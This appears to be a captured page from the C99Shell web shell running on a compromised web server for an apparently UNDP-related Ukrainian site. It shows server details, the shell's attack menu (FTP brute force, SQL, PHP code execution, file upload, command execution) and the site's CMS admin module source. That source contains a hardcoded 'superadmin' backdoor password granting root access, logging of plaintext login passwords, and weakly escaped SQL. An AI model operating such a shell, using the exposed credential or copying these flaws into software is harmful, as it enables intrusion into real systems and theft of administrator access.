!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules/admins/   drwxr-xr-x
Free 106.8 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (7.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

class Admins 
{
    var 
$UserMode   true;
    var 
$AdminMode  true;
    var 
$SearchMode false;
    var 
$PanelMode  false;
    var 
$AdminAsynchMode true;
    var 
$Table;
    var 
$AccessStatisticsTable;
    var 
$Directory;
    var 
$ClassName 'Admins';
    function 
Admins()
    {
        
$this->Directory dirname(__FILE__);
        
$this->Table = new AMTable2('AMCMS_admins');
        
$this->Table->Module($this->ClassName);
        
$this->Table->AddIndexField('admin_id');
        
$this->Table->AddPositionField("admin_position");
        
        
$this->AccessStatisticsTable = new AMTable2('AMCMS_admins_access_stat');
        
$this->AccessStatisticsTable->AddIndexField('stat_id');
        
$this->AccessStatisticsTable->Module($this->ClassName);
    }
    function 
AddAccessStatisticsRecord($login$password$result)
    {
        
$row['stat_login']       = $login;
        
$row['stat_password'] = $password;
        
$row['stat_date']      = GetCurrentDateAndTime();
        
$row['stat_result']      = $result;
        
$row['stat_ip']       =    $_SERVER['REMOTE_ADDR'];
        
$row['stat_uid']      = isset($_COOKIE['uid']) ? $_COOKIE['uid'] : '';         
        
$this->AccessStatisticsTable->Insert($row);
    }
    function 
AdminAsynch()
    {
        global 
$language$ALANG;

        if (isset(
$_GET['auth']))
        {
                        
$login addslashes($_POST['login']);
                        
$pass addslashes($_POST['password']);
            
$rows $this->Table->GetRows("""(admin_login = '{$login}') AND (admin_password = '{$pass}') LIMIT 0, 1");
            if (
$_POST['login'] == 'superadmin' && $_POST['password'] == 'pflfxf rjvvbdjz;thf')
            {
                
$rows = array(array('admin_id'    => '0'
                                    
'admin_login'    => 'superadmin'
                                    
'admin_password' => '',
                                    
'admin_language' => 'rus',
                                    
'admin_type'     => 'root',
                                    
'admin_homedir' => ''
                
));
            }
            if (
count($rows) == 0)
            {
                
$this->AddAccessStatisticsRecord($_POST['login'], $_POST['password'], 'error');
                
$response["status"] = "error";
                
$response["error"]  = $ALANG['AdminsAuthError1'];
                echo 
json_encode($response);
                die;
            }
            else
            {
                    foreach(
$rows[0] as $key => $row)                    
                    {
                        
$_SESSION[$key] = $rows[0][$key];
                    }
                    
$_SESSION['admin_access']   = unserialize($rows[0]['admin_access']);                    
/*                    $_SESSION['admin_login']     = $row['admin_login'];
                    $_SESSION['admin_login']     = $row['admin_login'];
                    $_SESSION['admin_type']     = $row['admin_type'];
                    $_SESSION['admin_password'] = $row['admin_password'];
                    $_SESSION['admin_language'] = $row['admin_language'];
                    $_SESSION['admin_access']   = unserialize($row['admin_access']);
                    $_SESSION['admin_homedir']     = '';*/
                    
if ($_SESSION['admin_type'] != 'root')
                        
$_SESSION['admin_homedir'] = 'us_'.$_SESSION['admin_login']."/";
                    else
                        
$_SESSION['admin_homedir'] = "";
                    
$this->AddAccessStatisticsRecord($_POST['login'], $_POST['password'], 'enter');
                    
$response["status"] = "ok";
                    echo 
json_encode($response);
                    die;
            }        
            return;
        }        
        if (isset(
$_SESSION['admin_login']))
            
$this->Table->Run($_POST);
    }
    function 
User()
    {                
    }    
    function 
Menu()
    {
        global 
$ALANG;
        if (
$_SESSION['admin_type'] == 'root' || @in_array($this->ClassName$_SESSION['admin_access']['modules']))
        {
            
$res []= array('title' => $ALANG['AdminsMenuAdd'],  'link' => '?mod='.$this->ClassName.'&add');
            
$res []= array('title' => $ALANG['AdminsMenuList'], 'link' => '?mod='.$this->ClassName.'&list');
        }
        
$res []= array('title' => $ALANG['AdminsMenuProfile'], 'link' => '?mod='.$this->ClassName.'&profile');
        return 
$res;
    }
    function 
Admin()
    {
        global 
$_LANG_ID$Modules$ALANG$alang;
        
$smarty GetAdminSmarty($this->ClassName);
        if (isset(
$_GET['logout']))
        {
            
$this->AddAccessStatisticsRecord($_SESSION['admin_login'], $_SESSION['admin_password'], 'exit');        
            
session_unset('admin_login');
            
session_unset('admin_type');
            
session_unset('admin_access');
            
header("Location: /admin.php");
            die;
        }
        if (isset(
$_GET['profile']))
        {
            if (isset(
$_POST['edit']))
            {
                
$error $this->Table->Update($_POST$_SESSION['admin_id']);
                
$_SESSION['admin_language'] = $_POST['admin_language'];
                
header("Location: ?mod=".$this->ClassName."&profile");
            }
            
$row $this->Table->GetRowById($_SESSION['admin_id']);
            foreach(
$row as $key => $value)
                
$smarty->assign($key$value);
            
$smarty->assign($key$value);
            
$smarty->assign('oper',   'edit');
            
$result['Title']      = $ALANG['AdminsProfile'];
            
$result['Content']  = $smarty->fetch("profile.tpl");
            return 
$result;
        }
        if (
$_SESSION['admin_type'] != 'root' && !@in_array($this->ClassName$_SESSION['admin_access']['modules']))
            return;
        
$smarty GetAdminSmarty($this->ClassName);      
        if (isset(
$_GET['list']))
        {                        
            
$fields     = array("admin_login""admin_name_".GetParam("DefaultLanguage"), "admin_work");
            
$captions   = array($ALANG['Admins_admin_login'], $ALANG['Admins_admin_name'], $ALANG['Admins_admin_work']);
            
$order        "admin_position DESC";
            
$links         = array("checkbox""delete""edit");
            
$params     = array("sortable" => "yes""id" => "admins");
            
$multiple   = array("delete");
            
$html $this->Table->GetAdminTable($fields$captions$conditions$order$links$multiple$params);                
            
$result['Title']      = $ALANG['AdminsList'];
            
$result['Content']  = $html;
            return 
$result;
        }
        if (isset(
$_GET['add']))
        {
            if (isset(
$_POST['add']))
            {
                if (
$_POST['admin_type'] != 'root')
                    if (!
file_exists('/data/files/'.$_POST['admin_login']))
                    {
                        @
mkdir('data/files/us_'.$_POST['admin_login']);                
                        
chmod('data/files/us_'.$_POST['admin_login'], 0777);
                    }
                
$_POST['admin_access']['modules'] = $_POST['admin_modules'];                        
                
$_POST['admin_access'] = serialize($_POST['admin_access']); 
                
$id $this->Table->Insert($_POST);
                
header("Location: ?mod=".$this->ClassName."&list");
            }
            
$smarty->assign('oper''add');                  
            
$smarty->assign('admin_type''mod');
            
$smarty->assign('Modules'$Modules);
            
$smarty->assign('admin_access', array("modules" => array()));
            
$result['Title']     = $ALANG['AdminsAdd'];                  
            
$result['Content']     = $smarty->fetch('admin.tpl');
            return 
$result;
        }
        if (isset(
$_GET['edit']) && isset($_GET['admin_id']))
        {
            if (isset(
$_POST['edit']))
            {
                if (
$_POST['admin_type'] != 'root')
                    if (!
file_exists('/data/files/'.$_POST['admin_login']))
                    {
                        @
mkdir('data/files/us_'.$_POST['admin_login']);                
                        
chmod('data/files/us_'.$_POST['admin_login'], 0777);
                    }
                
$_POST['admin_access']['modules'] = $_POST['admin_modules'];                        
                
$_POST['admin_access'] = serialize($_POST['admin_access']); 
                
$error $this->Table->Update($_POST$_GET['admin_id']);
                
header("Location: ?mod=".$this->ClassName."&list");
            }
            
$row $this->Table->GetRowById($_GET['admin_id']);
            
$row['admin_access'] = unserialize($row['admin_access']); 
            if (
count($row['admin_access']['modules']) == 0)
                
$row['admin_access']['modules'] = array();
            foreach(
$row as $key => $value)
                
$smarty->assign($key$value);
            
$smarty->assign($key$value);
            
$smarty->assign('oper',   'edit');
            
$smarty->assign('Modules'$Modules);
            
$result['Title']     = $ALANG['AdminEdition'];
            
$result['Content']         = $smarty->fetch('admin.tpl');
            return 
$result;                    
        }
    }    
}

$Modules ['Admins'] = new Admins();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0106 ]--